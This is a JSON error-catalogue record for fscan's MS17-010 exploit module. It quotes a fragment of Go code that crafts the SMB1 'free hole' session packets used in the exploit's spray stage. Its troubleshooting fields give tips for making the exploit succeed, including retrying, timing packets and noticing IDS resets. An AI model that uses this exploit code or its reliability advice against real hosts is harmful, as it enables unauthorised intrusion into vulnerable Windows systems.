{"record":{"id":"c67e5acd27210b44","repo":"shadow1ng/fscan","slug":"failed-to-send-smb1-free-hole-session-packet-s","errorCode":null,"errorMessage":"failed to send smb1 free hole session packet: %s","messagePattern":"failed to send smb1 free hole session packet: (.+?)","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"plugins/services/ms17010_exp.go","lineNumber":824,"sourceCode":"\tvar (\n\t\tflags2   []byte\n\t\tvcNum    []byte\n\t\tnativeOS []byte\n\t)\n\tif start {\n\t\tflags2 = []byte{0x07, 0xC0}\n\t\tvcNum = []byte{0x2D, 0x01}\n\t\tnativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00}\n\t} else {\n\t\tflags2 = []byte{0x07, 0x40}\n\t\tvcNum = []byte{0x2C, 0x01}\n\t\tnativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00}\n\t}\n\tpacket := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)\n\t_, err = conn.Write(packet)\n\tif err != nil {\n\t\tconst format = \"failed to send smb1 free hole session packet: %s\"\n\t\treturn nil, fmt.Errorf(format, err)\n\t}\n\t_, _, err = smb1GetResponse(conn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tok = true\n\treturn conn, nil\n}\n\nfunc makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte {\n\tbuf := bytes.Buffer{}\n\n\t// --------NetBIOS Session Service--------\n\n\t// message type\n\tbuf.WriteByte(0x00)\n\t// length\n\tbuf.Write([]byte{0x00, 0x00, 0x51})","sourceCodeStart":806,"sourceCodeEnd":842,"githubUrl":"https://github.com/shadow1ng/fscan/blob/95cc12e753bf43de7004e5aef42a9ffba3934303/plugins/services/ms17010_exp.go#L806-L842","documentation":"smb1FreeHole builds a free-hole session packet with makeSMB1FreeHoleSessionPacket and writes it to the connection. A conn.Write failure is wrapped as 'failed to send smb1 free hole session packet'. This is a TCP write failure deep in the exploit's spray setup.","triggerScenarios":"exploit → smb1FreeHole → conn.Write(packet) fails because the peer reset the connection after negotiate, the socket timed out, or an inline device dropped the packet.","commonSituations":"Target or IPS closing the connection once it sees exploit-pattern packets; unreliable links; stale sockets after long-running scans.","solutions":["Check for IPS/RST behavior between scanner and target","Verify SMB1 support on the target host","Retry the exploit; connection resets mid-write are often transient","Add a write deadline and log the underlying errno for diagnosis"],"exampleFix":null,"handlingStrategy":"retry","validationCode":"// ensure a fresh, confirmed-alive connection before the hole session packet\nif tc, ok := conn.(*net.TCPConn); ok {\n    _ = tc.SetWriteDeadline(time.Now().Add(10 * time.Second))\n}","typeGuard":null,"tryCatchPattern":"conn, err := smb1FreeHole(address, true)\nif err != nil {\n    if errors.Is(err, syscall.EPIPE) || errors.Is(err, syscall.ECONNRESET) {\n        // reconnect and retry the free-hole setup\n    }\n    return err\n}","preventionTips":["Retry the whole smb1FreeHole sequence on write failure; sockets mid-handshake are fragile","Keep inter-packet delays small so the target does not reap idle sockets","Watch for IDS resets when packets match exploit signatures","Log the errno of failed writes for diagnosis"],"tags":["network","smb","go","exploit"],"backgroundTag":"broken-pipe","analyzedSha":"95cc12e753bf43de7004e5aef42a9ffba3934303","analyzedAt":"2026-09-06T17:07:30.094Z","contentChangedAt":"2026-09-06T17:07:30.094Z","schemaVersion":2},"datasetVersion":"2026-09-14T00:17:10.932Z"}